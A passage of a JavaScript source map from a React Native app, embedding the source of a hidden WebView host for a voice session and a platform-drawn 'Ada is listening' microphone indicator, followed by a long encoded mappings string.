lastSig.current) {\n lastSig.current = sig;\n force();\n }\n });\n return () => sub.unsubscribe();\n }, []);\n\n // Stable ref callback — React re-invokes an INLINE ref on every render (null\n // then node), which would momentarily detach the WebView from the session.\n const setRef = useCallback((r: any) => {\n voiceSession.setWebView(r);\n }, []);\n\n const s = voiceSession.getInternal();\n if (!s.mounted || !s.webViewSource) return null;\n\n return (\n <View style={styles.hidden} pointerEvents=\"none\">\n <WebView\n ref={setRef}\n source={s.webViewSource}\n style={styles.web}\n onMessage={(e) => voiceSession.handleMessage(e)}\n onError={(e: any) => console.log('[VoiceSessionHost] error:', e.nativeEvent?.description)}\n injectedJavaScriptBeforeContentLoaded={voiceSession.injectedTrackHook}\n mediaPlaybackRequiresUserAction={false}\n allowsInlineMediaPlayback\n mediaCapturePermissionGrantType=\"grant\"\n javaScriptEnabled\n originWhitelist={['*']}\n />\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n hidden: {\n position: 'absolute',\n width: 1,\n height: 1,\n top: -100,\n left: -100,\n opacity: 0,\n },\n web: { flex: 1, backgroundColor: 'transparent' },\n});\n","/**\n * VoiceMicIndicator — the platform-owned \"the mic is live\" evidence.\n *\n * Spec invariant 4: a voice session must NEVER be live without the user knowing,\n * and a headless session (no voice screen, phone pocketed) is exactly where \"no\n * UI\" must not become \"no evidence\". So this is drawn by the PLATFORM, mounted\n * once at the app root above all plugin content, and a plugin NEVER receives it:\n * there is deliberately no `props.voice` call to hide, fake, or restyle it. It\n * reads the one `voiceSession` directly and shows whenever the session is live.\n *\n * It is evidence, not a control — non-interactive on purpose. Reading a live\n * session's transcript (props.voice.transcript(), a privacy surface) is only\n * possible while a session is live, and a live session shows THIS. That coupling\n * is the point: no path to the conversation without visible proof of the mic.\n */\nimport React, { useEffect, useReducer, useRef } from 'react';\nimport { View, Text, Animated, StyleSheet, Platform } from 'react-native';\nimport { ada } from '@ateam-ai-mobile/core';\nimport { voiceSession } from './voiceSession';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport default function VoiceMicIndicator({ topInset = 8 }: { topInset?: number }) {\n const [, force] = useReducer((x: number) => x + 1, 0);\n const pulse = useRef(new Animated.Value(0.4)).current;\n\n useEffect(() => {\n const sub = voiceSession.subscribe(() => force());\n return () => sub.unsubscribe();\n }, []);\n\n const snap = voiceSession.getSnapshot();\n const live = snap.state === 'connecting' || snap.state === 'connected';\n\n useEffect(() => {\n if (!live) return;\n const loop = Animated.loop(\n Animated.sequence([\n Animated.timing(pulse, { toValue: 1, duration: 700, useNativeDriver: true }),\n Animated.timing(pulse, { toValue: 0.4, duration: 700, useNativeDriver: true }),\n ]),\n );\n loop.start();\n return () => loop.stop();\n }, [live, pulse]);\n\n if (!live) return null;\n\n const label =\n snap.state === 'connecting' ? 'Connecting…'\n : snap.muted ? 'Mic muted'\n : 'Ada is listening';\n const dotColor = snap.muted ? ada.inkMuted : '#E5484D';\n\n return (\n <View style={[styles.wrap, { top: topInset }]} pointerEvents=\"none\">\n <View style={styles.pill}>\n <Animated.View style={[styles.dot, { backgroundColor: dotColor, opacity: snap.muted ? 1 : pulse }]} />\n <Text style={styles.label}>{label}</Text>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n wrap: {\n position: 'absolute',\n left: 0,\n right: 0,\n alignItems: 'center',\n zIndex: 9999,\n elevation: 9999,\n },\n pill: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 7,\n paddingHorizontal: 12,\n paddingVertical: 6,\n borderRadius: 999,\n backgroundColor: ada.ink,\n shadowColor: '#000',\n shadowOpacity: 0.2,\n shadowRadius: 8,\n shadowOffset: { width: 0, height: 2 },\n },\n dot: {\n width: 8,\n height: 8,\n borderRadius: 4,\n },\n label: {\n fontSize: 12,\n fontFamily: fontFam,\n fontWeight: '600',\n color: ada.paper,\n letterSpacing: 0.2,\n },\n});\n"],"mappings":"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